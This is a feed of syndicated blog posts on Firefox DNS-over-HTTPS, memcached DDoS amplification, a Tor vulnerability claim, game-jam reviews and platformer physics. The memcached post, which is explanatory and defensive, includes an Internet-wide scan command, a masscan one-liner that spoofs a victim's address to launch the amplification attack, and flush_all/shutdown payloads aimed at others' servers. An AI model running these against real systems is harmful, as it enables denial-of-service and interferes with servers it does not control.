# DNS over HTTPS in Firefox

Post Syndicated from corbet original https://lwn.net/Articles/756262/rss

The Mozilla blog has an
article
describing the addition of DNS over HTTPS (DoH) as an optional
feature in the Firefox browser. “DoH support has been added to
Firefox 62 to improve the way Firefox interacts with DNS. DoH uses
encrypted networking to obtain DNS information from a server that is
configured within Firefox. This means that DNS requests sent to the DoH
cloud server are encrypted while old style DNS requests are not
protected.
” The configured server is hosted by Cloudflare, which
has posted this
privacy agreement

# Some notes on memcached DDoS

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/03/some-notes-on-memcached-ddos.html

I thought I’d write up some notes on the memcached DDoS. Specifically, I describe how many I found scanning the Internet with masscan, and how to use masscan as a killswitch to neuter the worst of the attacks.

I added code to my port scanner for this, then scanned the Internet:
masscan 0.0.0.0/0 -pU:11211 –banners | grep memcached
This example scans the entire Internet (/0). Replaced 0.0.0.0/0 with your address range (or ranges).
This produces output that looks like this:
Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13
Banner on port 11211/udp on 89.110.149.218: [memcached] uptime=3935192 time=1520485363 version=1.4.17
Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13
Banner on port 11211/udp on 84.200.45.2: [memcached] uptime=399858 time=1520485362 version=1.4.20
Banner on port 11211/udp on 5.1.66.2: [memcached] uptime=29429482 time=1520485363 version=1.4.20
Banner on port 11211/udp on 103.248.253.112: [memcached] uptime=2879363 time=1520485366 version=1.2.6
Banner on port 11211/udp on 193.240.236.171: [memcached] uptime=42083736 time=1520485365 version=1.4.13
The “banners” check filters out those with valid memcached responses, so you don’t get other stuff that isn’t memcached. To filter this output further, use  the ‘cut’ to grab just column 6:
… | cut -d ‘ ‘ -f 6 | cut -d: -f1
You often get multiple responses to just one query, so you’ll want to sort/uniq the list:
… | sort | uniq

### My results from an Internet wide scan

I got 15181 results (or roughly 15,000).
People are using Shodan to find a list of memcached servers. They might be getting a lot results back that response to TCP instead of UDP. Only UDP can be used for the attack.

Other researchers scanned the Internet a few days ago and found ~31k. I don’t know if this means people have been removing these from the Internet.

### Masscan as exploit script

BTW, you can not only use masscan to find amplifiers, you can also use it to carry out the DDoS. Simply import the list of amplifier IP addresses, then spoof the source address as that of the target. All the responses will go back to the source address.
masscan -iL amplifiers.txt -pU:11211 –spoof-ip –rate 100000
I point this out to show how there’s no magic in exploiting this. Numerous exploit scripts have been released, because it’s so easy.

### Why memcached servers are vulnerable

Like many servers, memcached listens to local IP address 127.0.0.1 for local administration. By listening only on the local IP address, remote people cannot talk to the server.
However, this process is often buggy, and you end up listening on either 0.0.0.0 (all interfaces) or on one of the external interfaces. There’s a common Linux network stack issue where this keeps happening, like trying to get VMs connected to the network. I forget the exact details, but the point is that lots of servers that intend to listen only on 127.0.0.1 end up listening on external interfaces instead. It’s not a good security barrier.
Thus, there are lots of memcached servers listening on their control port (11211) on external interfaces.

### How the protocol works

The protocol is documented here. It’s pretty straightforward.
The easiest amplification attacks is to send the “stats” command. This is 15 byte UDP packet that causes the server to send back either a large response full of useful statistics about the server.  You often see around 10 kilobytes of response across several packets.
A harder, but more effect attack uses a two step process. You first use the “add” or “set” commands to put chunks of data into the server, then send a “get” command to retrieve it. You can easily put 100-megabytes of data into the server this way, and causes a retrieval with a single “get” command.
That’s why this has been the largest amplification ever, because a single 100-byte packet can in theory cause a 100-megabytes response.
Doing the math, the 1.3 terabit/second DDoS divided across the 15,000 servers I found vulnerable on the Internet leads to an average of 100-megabits/second per server. This is fairly minor, and is indeed something even small servers (like Raspberry Pis) can generate.

### Neutering the attack (“kill switch”)

If they are using the more powerful attack against you, you can neuter it: you can send a “flush_all” command back at the servers who are flooding you, causing them to drop all those large chunks of data from the cache.
I’m going to describe how I would do this.
First, get a list of attackers, meaning, the amplifiers that are flooding you. The way to do this is grab a packet sniffer and capture all packets with a source port of 11211. Here is an example using tcpdump.
tcpdump -i -w attackers.pcap src port 11221
Let that run for a while, then hit [ctrl-c] to stop, then extract the list of IP addresses in the capture file. The way I do this is with tshark (comes with Wireshark):
tshark -r attackers.pcap -Tfields -eip.src | sort | uniq > amplifiers.txt
Now, craft a flush_all payload. There are many ways of doing this. For example, if you are using nmap or masscan, you can add the bytes to the nmap-payloads.txt file. Also, masscan can read this directly from a packet capture file. To do this, first craft a packet, such as with the following command line foo:
echo -en “\x00\x00\x00\x00\x00\x01\x00\x00flush_all\r\n” | nc -q1 -u 11211
Capture this packet using tcpdump or something, and save into a file “flush_all.pcap”. If you want to skip this step, I’ve already done this for you, go grab the file from GitHub:
Now that we have our list of attackers (amplifiers.txt) and a payload to blast at them (flush_all.pcap), use masscan to send it:
masscan -iL amplifiers.txt -pU:112211 –pcap-payload flush_all.pcap

Reportedly, “shutdown” may also work to completely shutdown the amplifiers. I’ll leave that as an exercise for the reader, since of course you’ll be adversely affecting the servers.

### Some notes

Here are some good reading on this attack:

# New DDoS Reflection-Attack Variant

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2018/03/new_ddos_reflec.html

This is worrisome:

DDoS vandals have long intensified their attacks by sending a small number of specially designed data packets to publicly available services. The services then unwittingly respond by sending a much larger number of unwanted packets to a target. The best known vectors for these DDoS amplification attacks are poorly secured domain name system resolution servers, which magnify volumes by as much as 50 fold, and network time protocol, which increases volumes by about 58 times.

On Tuesday, researchers reported attackers are abusing a previously obscure method that delivers attacks 51,000 times their original size, making it by far the biggest amplification method ever used in the wild. The vector this time is memcached, a database caching system for speeding up websites and networks. Over the past week, attackers have started abusing it to deliver DDoSes with volumes of 500 gigabits per second and bigger, DDoS mitigation service Arbor Networks reported in a blog post.

Cloudflare blog post. BoingBoing post.

EDITED TO ADD (3/9): Brian Krebs covered this.

# AskRob: Does Tor let government peek at vuln info?

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/03/askrob-does-tor-let-government-peek-at.html

The question is about a blog post that claims Tor privately tips off the government about vulnerabilities, using as proof a “vulnerability” from October 2007 that wasn’t made public until 2011.
The tl;dr is that it’s bunk. There was no vulnerability, it was a feature request. The details were already public. There was no spy agency involved, but the agency that does Voice of America, and which tries to protect activists under foreign repressive regimes.

### Discussion

The issue is that Tor traffic looks like Tor traffic, making it easy to block/censor, or worse, identify users. Over the years, Tor has added features to make it look more and more like normal traffic, like the encrypted traffic used by Facebook, Google, and Apple. Tors improves this bit-by-bit over time, but short of actually piggybacking on website traffic, it will always leave some telltale signature.
An example showing how we can distinguish Tor traffic is the packet below, from the latest version of the Tor server:
Had this been Google or Facebook, the names would be something like “www.google.com” or “facebook.com”. Or, had this been a normal “self-signed” certificate, the names would still be recognizable. But Tor creates randomized names, with letters and numbers, making it distinctive. It’s hard to automate detection of this, because it’s only probably Tor (other self-signed certificates look like this, too), which means you’ll have occasional “false-positives”. But still, if you compare this to the pattern of traffic, you can reliably detect that Tor is happening on your network.
This has always been a known issue, since the earliest days. Google the search term “detect tor traffic”, and set your advanced search dates to before 2007, and you’ll see lots of discussion about this, such as this post for writing intrusion-detection signatures for Tor.
Among the things you’ll find is this presentation from 2006 where its creator (Roger Dingledine) talks about how Tor can be identified on the network with its unique network fingerprint. For a “vulnerability” they supposedly kept private until 2011, they were awfully darn public about it.
The above blogpost claims Tor kept this vulnerability secret until 2011 by citing this message. It’s because Levine doesn’t understand the terminology and is just blindly searching for an exact match for “TLS normalization”. Here’s an earlier proposed change for the long term goal of to “make our connection handshake look closer to a regular HTTPS [TLS] connection”, from February 2007. Here is another proposal from October 2007 on changing TLS certificates, from days after the email discussion (after they shipped the feature, presumably).
What we see here is here is a known problem from the very beginning of the project, a long term effort to fix that problem, and a slow dribble of features added over time to preserve backwards compatibility.
Now let’s talk about the original train of emails cited in the blogpost. It’s hard to see the full context here, but it sounds like BBG made a feature request to make Tor look even more like normal TLS, which is hinted with the phrase “make our funders happy”. Of course the people giving Tor money are going to ask for improvements, and of course Tor would in turn discuss those improvements with the donor before implementing them. It’s common in project management: somebody sends you a feature request, you then send the proposal back to them to verify what you are building is what they asked for.
As for the subsequent salacious paragraph about “secrecy”, that too is normal. When improving a problem, you don’t want to talk about the details until after you have a fix. But note that this is largely more for PR than anything else. The details on how to detect Tor are available to anybody who looks for them — they just aren’t readily accessible to the layman. For example, Tenable Networks announced the previous month exactly this ability to detect Tor’s traffic, because any techy wanting to would’ve found the secrets how to. Indeed, Teneble’s announcement may have been the impetus for BBG’s request to Tor: “can you fix it so that this new Tenable feature no longer works”.
To be clear, there are zero secret “vulnerability details” here that some secret spy agency could use to detect Tor. They were already known, and in the Teneble product, and within the grasp of any techy who wanted to discover them. A spy agency could just buy Teneble, or copy it, instead of going through this intricate conspiracy.

### Conclusion

The issue isn’t a “vulnerability”. Tor traffic is recognizable on the network, and over time, they make it less and less recognizable. Eventually they’ll just piggyback on true HTTPS and convince CloudFlare to host ingress nodes, or something, making it completely undetectable. In the meanwhile, it leaves behind fingerprints, as I showed above.
What we see in the email exchanges is the normal interaction of a donor asking for a feature, not a private “tip off”. It’s likely the donor is the one who tipped off Tor, pointing out Tenable’s product to detect Tor.
Whatever secrets Tor could have tipped off to the “secret spy agency” were no more than what Tenable was already doing in a shipping product.

Update: People are trying to make it look like Voice of America is some sort of intelligence agency. That’s a conspiracy theory. It’s not a member of the American intelligence community. You’d have to come up with a solid reason explaining why the United States is hiding VoA’s membership in the intelligence community, or you’d have to believe that everything in the U.S. government is really just some arm of the C.I.A.

# SUPER game night 3: GAMES MADE QUICK??? 2.0

Post Syndicated from Eevee original https://eev.ee/blog/2018/01/23/super-game-night-3-games-made-quick-2-0/

Game night continues with a smorgasbord of games from my recent game jam, GAMES MADE QUICK??? 2.0!

The idea was to make a game in only a week while watching AGDQ, as an alternative to doing absolutely nothing for a week while watching AGDQ. (I didn’t submit a game myself; I was chugging along on my Anise game, which isn’t finished yet.)

I can’t very well run a game jam and not play any of the games, so here’s some of them in no particular order! Enjoy!

These are impressions, not reviews. I try to avoid major/ending spoilers, but big plot points do tend to leave impressions.

## Weather Quest, by timlmul

short · rpg · jan 2017 · (lin)/mac/win · free on itch · jam entry

Weather Quest is its author’s first shipped game, written completely from scratch (the only vendored code is a micro OO base). It’s very short, but as someone who has also written LÖVE games completely from scratch, I can attest that producing something this game-like in a week is a fucking miracle. Bravo!

For reference, a week into my first foray, I think I was probably still writing my own Tiled importer like an idiot.

Only Mac and Windows builds are on itch, but it’s a LÖVE game, so Linux folks can just grab a zip from GitHub and throw that at love.

FINAL SCORE: ⛅☔☀

## Pancake Numbers Simulator, by AnorakThePrimordial

short · sim · jan 2017 · lin/mac/win · free on itch · jam entry

Given a stack of N pancakes (of all different sizes and in no particular order), the Nth pancake number is the most flips you could possibly need to sort the pancakes in order with the smallest on top. A “flip” is sticking a spatula under one of the pancakes and flipping the whole sub-stack over. There’s, ah, a video embedded on the game page with some visuals.

Anyway, this game lets you simulate sorting a stack via pancake flipping, which is surprisingly satisfying! I enjoy cleaning up little simulated messes, such as… incorrectly-sorted pancakes, I guess?

This probably doesn’t work too well as a simulator for solving the general problem — you’d have to find an optimal solution for every permutation of N pancakes to be sure you were right. But it’s a nice interactive illustration of the problem, and if you know the pancake number for your stack size of choice (which I wish the game told you — for seven pancakes, it’s 8), then trying to restore a stack in that many moves makes for a nice quick puzzle.

FINAL SCORE: $$\frac{18}{11}$$

## Framed Animals, by chridd

short · metroidvania · jan 2017 · web/win · free on itch · jam entry

The concept here was to kill the frames, save the animals, which is a delightfully literal riff on a long-running AGDQ/SGDQ donation incentive — people vote with their dollars to decide whether Super Metroid speedrunners go out of their way to free the critters who show you how to walljump and shinespark. Super Metroid didn’t have a showing at this year’s AGDQ, and so we have this game instead.

It’s rough, but clever, and I got really into it pretty quickly — each animal you save gives you a new ability (in true Metroid style), and you get to test that ability out by playing as the animal, with only that ability and no others, to get yourself back to the most recent save point.

I did, tragically, manage to get myself stuck near what I think was about to be the end of the game, so some of the animals will remain framed forever. What an unsatisfying conclusion.

Gravity feels a little high given the size of the screen, and like most tile-less platformers, there’s not really any way to gauge how high or long your jump is before you leap. But I’m only even nitpicking because I think this is a great idea and I hope the author really does keep working on it.

FINAL SCORE: \$136,596.69

## Battle 4 Glory, by Storyteller Games

short · fighter · jan 2017 · win · free on itch · jam entry

This is a Smash Bros-style brawler, complete with the four players, the 2D play area in a 3D world, and the random stage obstacles showing up. I do like the Smash style, despite not otherwise being a fan of fighting games, so it’s nice to see another game chase that aesthetic.

Alas, that’s about as far as it got — which is pretty far for a week of work! I don’t know what more to say, though. The environments are neat, but unless I’m missing something, the only actions at your disposal are jumping and very weak melee attacks. I did have a good few minutes of fun fruitlessly mashing myself against the bumbling bots, as you can see.

FINAL SCORE: 300%

## Icnaluferu Guild, Year Sixteen, by CHz

short · adventure · jan 2017 · web · free on itch · jam entry

Here we have the first of several games made with bitsy, a micro game making tool that basically only supports walking around, talking to people, and picking up items.

I tell you this because I think half of my appreciation for this game is in the ways it wriggled against those limits to emulate a Zelda-like dungeon crawler. Everything in here is totally fake, and you can’t really understand just how fake unless you’ve tried to make something complicated with bitsy.

It’s pretty good. The dialogue is entertaining (the rest of your party develops distinct personalities solely through oneliners, somehow), the riffs on standard dungeon fare are charming, and the Link’s Awakening-esque perspective walls around the edges of each room are fucking glorious.

FINAL SCORE: 2 bits

## The Lonely Tapes, by JTHomeslice

short · rpg · jan 2017 · web · free on itch · jam entry

Another bitsy entry, this one sees you play as a Wal— sorry, a JogDawg, which has lost its cassette tapes and needs to go recover them!

(A cassette tape is like a VHS, but for music.)

(A VHS is—)

I have the sneaking suspicion that I missed out on some musical in-jokes, due to being uncultured swine. I still enjoyed the game — it’s always clear when someone is passionate about the thing they’re writing about, and I could tell I was awash in that aura even if some of it went over my head. You know you’ve done good if someone from way outside your sphere shows up and still has a good time.

FINAL SCORE: Nine… Inch Nails? They’re a band, right? God I don’t know write your own damn joke

## Pirate Kitty-Quest, by TheKoolestKid

short · adventure · jan 2017 · win · free on itch · jam entry

I completely forgot I’d even given “my birthday” and “my cat” as mostly-joking jam themes until I stumbled upon this incredible gem. I don’t think — let me just check here and — yeah no this person doesn’t even follow me on Twitter. I have no idea who they are?

BUT THEY MADE A GAME ABOUT ANISE AS A PIRATE, LOOKING FOR TREASURE

PIRATE. ANISE

PIRATE ANISE!!!

This game wins the jam, hands down. 🏆

FINAL SCORE: Yarr, eight pieces o’ eight

## CHIPS Mario, by NovaSquirrel

short · platformer · jan 2017 · (lin/mac)/win · free on itch · jam entry

You see this? This is fucking witchcraft.

This game is made with MegaZeux. MegaZeux games look like THIS. Text-mode, bound to a grid, with two colors per cell. That’s all you get.

Until now, apparently?? The game is a tech demo of “unbound” sprites, which can be drawn on top of the character grid without being aligned to it. And apparently have looser color restrictions.

The collision is a little glitchy, which isn’t surprising for a MegaZeux platformer; I had some fun interactions with platforms a couple times. But hey, goddamn, it’s free-moving Mario, in MegaZeux, what the hell.

(I’m looking at the most recently added games on DigitalMZX now, and I notice that not only is this game in the first slot, but NovaSquirrel’s MegaZeux entry for Strawberry Jam last February is still in the seventh slot. RIP, MegaZeux. I’m surprised a major feature like this was even added if the community has largely evaporated?)

FINAL SCORE: n/a, disqualified for being probably summoned from the depths of Hell

## d!¢< pic, by 573 Games

short · story · jan 2017 · web · free on itch · jam entry

This is a short story about not sending dick pics. It’s very short, so I can’t say much without spoiling it, but: you are generally prompted to either text something reasonable, or send a dick pic. You should not send a dick pic.

It’s a fascinating artifact, not because of the work itself, but because it’s so terse that I genuinely can’t tell what the author was even going for. And this is the kind of subject where the author was, surely, going for something. Right? But was it genuinely intended to be educational, or was it tongue-in-cheek about how some dudes still don’t get it? Or is it side-eying the player who clicks the obviously wrong option just for kicks, which is the same reason people do it for real? Or is it commentary on how “send a dick pic” is a literal option for every response in a real conversation, too, and it’s not that hard to just not do it — unless you are one of the kinds of people who just feels a compulsion to try everything, anything, just because you can? Or is it just a quick Twine and I am way too deep in this? God, just play the thing, it’s shorter than this paragraph.

I’m also left wondering when it is appropriate to send a dick pic. Presumably there is a correct time? Hopefully the author will enter Strawberry Jam 2 to expound upon this.

FINAL SCORE: 3½” 😉

## Marble maze, by Shtille

short · arcade · jan 2017 · win · free on itch · jam entry

Ah, hm. So this is a maze navigated by rolling a marble around. You use WASD to move the marble, and you can also turn the camera with the arrow keys.

The trouble is… the marble’s movement is always relative to the world, not the camera. That means if you turn the camera 30° and then try to move the marble, it’ll move at a 30° angle from your point of view.

That makes navigating a maze, er, difficult.

Camera-relative movement is the kind of thing I take so much for granted that I wouldn’t even think to do otherwise, and I think it’s valuable to look at surprising choices that violate fundamental conventions, so I’m trying to take this as a nudge out of my comfort zone. What could you design in an interesting way that used world-relative movement? Probably not the player, but maybe something else in the world, as long as you had strong landmarks? Hmm.

FINAL SCORE: ᘔ

## Refactor: flight, by fluffy

short · arcade · jan 2017 · lin/mac/win · free on itch · jam entry

Refactor is a game album, which is rather a lot what it sounds like, and Flight is one of the tracks. Which makes this a single, I suppose.

It’s one of those games where you move down an oddly-shaped tunnel trying not to hit the walls, but with some cute twists. Coins and gems hop up from the bottom of the screen in time with the music, and collecting them gives you points. Hitting a wall costs you some points and kills your momentum, but I don’t think outright losing is possible, which is great for me!

Also, the monk cycles through several animal faces. I don’t know why, and it’s very good. One of those odd but memorable details that sits squarely on the intersection of abstract, mysterious, and a bit weird, and refuses to budge from that spot.

The music is great too? Really chill all around.

FINAL SCORE: 🎵🎵🎵🎵

short · adventure · jan 2017 · web · free on itch · jam entry

Another bitsy game, this one starring a pig (humorously symbolized by a giant pig nose with ears) who must collect fruit and solve some puzzles.

This is charmingly nostalgic for me — it reminds me of some standard fare in engines like MegaZeux, where the obvious things to do when presented with tiles and pickups were to make mazes. I don’t mean that in a bad way; the maze is the fundamental environmental obstacle.

A couple places in here felt like invisible teleport mazes I had to brute-force, but I might have been missing a hint somewhere. I did make it through with only a little trouble, but alas — I stepped in a bad warp somewhere and got sent to the upper left corner of the starting screen, which is surrounded by walls. So Klyde’s new life is being trapped eternally in a nowhere space.

FINAL SCORE: 19/20 apples

## And more

That was only a third of the games, and I don’t think even half of the ones I’ve played. I’ll have to do a second post covering the rest of them? Maybe a third?

Or maybe this is a ludicrous format for commenting on several dozen games and I should try to narrow it down to the ones that resonated the most for Strawberry Jam 2? Maybe??

# Physics cheats

Post Syndicated from Eevee original https://eev.ee/blog/2018/01/06/physics-cheats/

something about how we tweak physics to “work” better in games?

Ho ho! Work. Get it? Like in physics…?

## Hitboxes

Hitbox” is perhaps not the most accurate term, since the shape used for colliding with the environment and the shape used for detecting damage might be totally different. They’re usually the same in simple platformers, though, and that’s what most of my games have been.

The hitbox is the biggest physics fudge by far, and it exists because of a single massive approximation that (most) games make: you’re controlling a single entity in the abstract, not a physical body in great detail.

That is: when you walk with your real-world meat shell, you perform a complex dance of putting one foot in front of the other, a motion you spent years perfecting. When you walk in a video game, you press a single “walk” button. Your avatar may play an animation that moves its legs back and forth, but since you’re not actually controlling the legs independently (and since simulating them is way harder), the game just treats you like a simple shape. Fairly often, this is a box, or something very box-like.

Since the player has no direct control over the exact placement of their limbs, it would be slightly frustrating to have them collide with the world. This is especially true in cases like the above, where the tail and left ear protrude significantly out from the main body. If that Eevee wanted to stand against a real-world wall, she would simply tilt her ear or tail out of the way, so there’s no reason for the ear to block her from standing against a game wall. To compensate for this, the ear and tail are left out of the collision box entirely and will simply jut into a wall if necessary — a goofy affordance that’s so common it doesn’t even register as unusual. As a bonus (assuming this same box is used for combat), she won’t take damage from projectiles that merely graze past an ear.

(One extra consideration for sprite games in particular: the hitbox ought to be horizontally symmetric around the sprite’s pivot — i.e. the point where the entity is truly considered to be standing — so that the hitbox doesn’t abruptly move when the entity turns around!)

### Corners

Treating the player (and indeed most objects) as a box has one annoying side effect: boxes have corners. Corners can catch on other corners, even by a single pixel. Real-world bodies tend to be a bit rounder and squishier and this can tolerate grazing a corner; even real-world boxes will simply rotate a bit.

Ah, but in our faux physics world, we generally don’t want conscious actors (such as the player) to rotate, even with a realistic physics simulator! Real-world bodies are made of parts that will generally try to keep you upright, after all; you don’t tilt back and forth much.

One way to handle corners is to simply remove them from conscious actors. A hitbox doesn’t have to be a literal box, after all. A popular alternative — especially in Unity where it’s a standard asset — is the pill-shaped capsule, which has semicircles/hemispheres on the top and bottom and a cylindrical body in 3D. No corners, no problem.

Of course, that introduces a new problem: now the player can’t balance precariously on edges without their rounded bottom sliding them off. Alas.

If you’re stuck with corners, then, you may want to use a corner bump, a term I just made up. If the player would collide with a corner, but the collision is only by a few pixels, just nudge them to the side a bit and carry on.

When the corner is horizontal, this creates stairs! This is, more or less kinda, how steps work in Doom: when the player tries to cross from one sector into another, if the height difference is 24 units or less, the game simply bumps them upwards to the height of the new floor and lets them continue on.

Implementing this in a game without Doom’s notion of sectors is a little trickier. In fact, I still haven’t done it. Collision detection based on rejection gets it for free, kinda, but it’s not very deterministic and it breaks other things. But that’s a whole other post.

## Gravity

Gravity is pretty easy. Everything accelerates downwards all the time. What’s interesting are the exceptions.

### Jumping

Jumping is a giant hack.

Think about how actual jumping works: you tense your legs, which generally involves bending your knees first, and then spring upwards. In a platformer, you can just leap whenever you feel like it, which is nonsense. Also you go like twenty feet into the air?

Worse, most platformers allow variable-height jumping, where your jump is lower if you let go of the jump button while you’re in the air. Normally, one would expect to have to decide how much force to put into the jump beforehand.

But of course this is about convenience of controls: when jumping is your primary action, you want to be able to do it immediately, without any windup for how high you want to jump.

(And then there’s double jumping? Come on.)

Air control is a similar phenomenon: usually you’d jump in a particular direction by controlling how you push off the ground with your feet, but in a video game, you don’t have feet! You only have the box. The compromise is to let you control your horizontal movement to a limit degree in midair, even though that doesn’t make any sense. (It’s way more fun, though, and overall gives you more movement options, which are good to have in an interactive medium.)

Air control also exposes an obvious place that game physics collide with the realistic model of serious physics engines. I’ve mentioned this before, but: if you use Real Physics™ and air control yourself into a wall, you might find that you’ll simply stick to the wall until you let go of the movement buttons. Why? Remember, player movement acts as though an external force were pushing you around (and from the perspective of a Real™ physics engine, this is exactly how you’d implement it) — so air-controlling into a wall is equivalent to pushing a book against a wall with your hand, and the friction with the wall holds you in place. Oops.

### Ground sticking

Another place game physics conflict with physics engines is with running to the top of a slope. On a real hill, of course, you land on top of the slope and are probably glad of it; slopes are hard to climb!

In a video game, you go flying. Because you’re a box. With momentum. So you hit the peak and keep going in the same direction. Which is diagonally upwards.

### Projectiles

To make them more predictable, projectiles generally aren’t subject to gravity, at least as far as I’ve seen. The real world does not have such an exemption. The real world imposes gravity even on sniper rifles, which in a video game are often implemented as an instant trace unaffected by anything in the world because the bullet never actually exists in the world.

## Resistance

Ah. Welcome to hell.

### Water

Water is an interesting case, and offhand I don’t know the gritty details of how games implement it. In the real world, water applies a resistant drag force to movement — and that force is proportional to the square of velocity, which I’d completely forgotten until right now. I am almost positive that no game handles that correctly. But then, in real-world water, you can push against the water itself for movement, and games don’t simulate that either. What’s the rough equivalent?

The Sonic Physics Guide suggests that Sonic handles it by basically halving everything: acceleration, max speed, friction, etc. When Sonic enters water, his speed is cut; when Sonic exits water, his speed is increased.

That last bit feels validating — I could swear Metroid Prime did the same thing, and built my own solution around it, but couldn’t remember for sure. It makes no sense, of course, for a jump to become faster just because you happened to break the surface of the water, but it feels fantastic.

The thing I did was similar, except that I didn’t want to add a multiplier in a dozen places when you happen to be underwater (and remember which ones need it to be squared, etc.). So instead, I calculate everything completely as normal, so velocity is exactly the same as it would be on dry land — but the distance you would move gets halved. The effect seems to be pretty similar to most platformers with water, at least as far as I can tell. It hasn’t shown up in a published game and I only added this fairly recently, so I might be overlooking some reason this is a bad idea.

(One reason that comes to mind is that velocity is now a little white lie while underwater, so anything relying on velocity for interesting effects might be thrown off. Or maybe that’s correct, because velocity thresholds should be halved underwater too? Hm!)

Notably, air is also a fluid, so it should behave the same way (just with different constants). I definitely don’t think any games apply air drag that’s proportional to the square of velocity.

### Friction

Friction is, in my experience, a little handwaved. Probably because real-world friction is so darn complicated.

Consider that in the real world, we want very high friction on the surfaces we walk on — shoes and tires are explicitly designed to increase it, even. We move by bracing a back foot against the ground and using that to push ourselves forward, so we want the ground to resist our push as much as possible.

In a game world, we are a box. We move by being pushed by some invisible outside force, so if the friction between ourselves and the ground is too high, we won’t be able to move at all! That’s complete nonsense physically, but it turns out to be handy in some cases — for example, highish friction can simulate walking through deep mud, which should be difficult due to fluid drag and low friction.

But the best-known example of the fakeness of game friction is video game ice. Walking on real-world ice is difficult because the low friction means low grip; your feet are likely to slip out from under you, and you’ll simply fall down and have trouble moving at all. In a video game, you can’t fall down, so you have the opposite experience: you spend most of your time sliding around uncontrollably. Yet ice is so common in video games (and perhaps so uncommon in places I’ve lived) that I, at least, had never really thought about this disparity until an hour or so ago.

### Game friction vs real-world friction

Real-world friction is a force. It’s the normal force (which is the force exerted by the object on the surface) times some constant that depends on how the two materials interact.

Force is mass times acceleration, and platformers often ignore mass, so friction ought to be an acceleration — applied against the object’s movement, but never enough to push it backwards.

I haven’t made any games where variable friction plays a significant role, but my gut instinct is that low friction should mean the player accelerates more slowly but has a higher max speed, and high friction should mean the opposite. I see from my own source code that I didn’t even do what I just said, so let’s defer to some better-made and well-documented games: Sonic and Doom.

In Sonic, friction is a fixed value subtracted from the player’s velocity (regardless of direction) each tic. Sonic has a fixed framerate, so the units are really pixels per tic squared (i.e. acceleration), multiplied by an implicit 1 tic per tic. So far, so good.

But Sonic’s friction only applies if the player isn’t pressing or . Hang on, that isn’t friction at all; that’s just deceleration! That’s equivalent to jogging to a stop. If friction were lower, Sonic would take longer to stop, but otherwise this is only tangentially related to friction.

(In fairness, this approach would decently emulate friction for non-conscious sliding objects, which are never going to be pressing movement buttons. Also, we don’t have the Sonic source code, and the name “friction” is a fan invention; the Sonic Physics Guide already uses “deceleration” to describe the player’s acceleration when turning around.)

Okay, let’s try Doom. In Doom, the default friction is 90.625%.

Hang on, what?

Yes, in Doom, friction is a multiplier applied every tic. Doom runs at 35 tics per second, so this is a multiplier of 0.032 per second. Yikes!

This isn’t anything remotely like real friction, but it’s much easier to implement. With friction as acceleration, the game has to know both the direction of movement (so it can apply friction in the opposite direction) and the magnitude (so it doesn’t overshoot and launch the object in the other direction). That means taking a semi-costly square root and also writing extra code to cap the amount of friction. With a multiplier, neither is necessary; just multiply the whole velocity vector and you’re done.

There are some downsides. One is that objects will never actually stop, since multiplying by 3% repeatedly will never produce a result of zero — though eventually the speed will become small enough to either slip below a “minimum speed” threshold or simply no longer fit in a float representation. Another is that the units are fairly meaningless: with Doom’s default friction of 90.625%, about how long does it take for the player to stop? I have no idea, partly because “stop” is ambiguous here! If friction were an acceleration, I could divide it into the player’s max speed to get a time.

All that aside, what are the actual effects of changing Doom’s friction? What an excellent question that’s surprisingly tricky to answer. (Note that friction can’t be changed in original Doom, only in the Boom port and its derivatives.) Here’s what I’ve pieced together.

Doom’s “friction” is really two values. “Friction” itself is a multiplier applied to moving objects on every tic, but there’s also a move factor which defaults to $$\frac{1}{32} = 0.03125$$ and is derived from friction for custom values.

Every tic, the player’s velocity is multiplied by friction, and then increased by their speed times the move factor.

$$v(n) = v(n – 1) \times friction + speed \times move factor$$

Eventually, the reduction from friction will balance out the speed boost. That happens when $$v(n) = v(n – 1)$$, so we can rearrange it to find the player’s effective max speed:

$$v = v \times friction + speed \times move factor \\ v – v \times friction = speed \times move factor \\ v = speed \times \frac{move factor}{1 – friction}$$

For vanilla Doom’s move factor of 0.03125 and friction of 0.90625, that becomes:

$$v = speed \times \frac{\frac{1}{32}}{1 – \frac{29}{32}} = speed \times \frac{\frac{1}{32}}{\frac{3}{32}} = \frac{1}{3} \times speed$$

Curiously, “speed” is three times the maximum speed an actor can actually move. Doomguy’s run speed is 50, so in practice he moves a third of that, or 16⅔ units per tic. (Of course, this isn’t counting SR40, a bug that lets Doomguy run ~40% faster than intended diagonally.)

So now, what if you change friction? Even more curiously, the move factor is calculated completely differently depending on whether friction is higher or lower than the default Doom amount:

$$move factor = \begin{cases} \frac{133 – 128 \times friction}{544} &≈ 0.244 – 0.235 \times friction & \text{ if } friction \ge \frac{29}{32} \\ \frac{81920 \times friction – 70145}{1048576} &≈ 0.078 \times friction – 0.067 & \text{ otherwise } \end{cases}$$

That’s pretty weird? Complicating things further is that low friction (which means muddy terrain, remember) has an extra multiplier on its move factor, depending on how fast you’re already going — the idea is apparently that you have a hard time getting going, but it gets easier as you find your footing. The extra multiplier maxes out at 8, which makes the two halves of that function meet at the vanilla Doom value.

That very top point corresponds to the move factor from the original game. So no matter what you do to friction, the move factor becomes lower. At 0.85 and change, you can no longer move at all; below that, you move backwards.

From the formula above, it’s easy to see what changes to friction and move factor will do to Doomguy’s stable velocity. Move factor is in the numerator, so increasing it will increase stable velocity — but it can’t increase, so stable velocity can only ever decrease. Friction is in the denominator, but it’s subtracted from 1, so increasing friction will make the denominator a smaller value less than 1, i.e. increase stable velocity. Combined, we get this relationship between friction and stable velocity.

As friction approaches 1, stable velocity grows without bound. This makes sense, given the definition of $$v(n)$$ — if friction is 1, the velocity from the previous tic isn’t reduced at all, so we just keep accelerating freely.

All of this is why I’m wary of using multipliers.

Anyway, this leaves me with one last question about the effects of Doom’s friction: how long does it take to reach stable velocity? Barring precision errors, we’ll never truly reach stable velocity, but let’s say within 5%. First we need a closed formula for the velocity after some number of tics. This is a simple recurrence relation, and you can write a few terms out yourself if you want to be sure this is right.

$$v(n) = v_0 \times friction^n + speed \times move factor \times \frac{friction^n – 1}{friction – 1}$$

Our initial velocity is zero, so the first term disappears. Set this equal to the stable formula and solve for n:

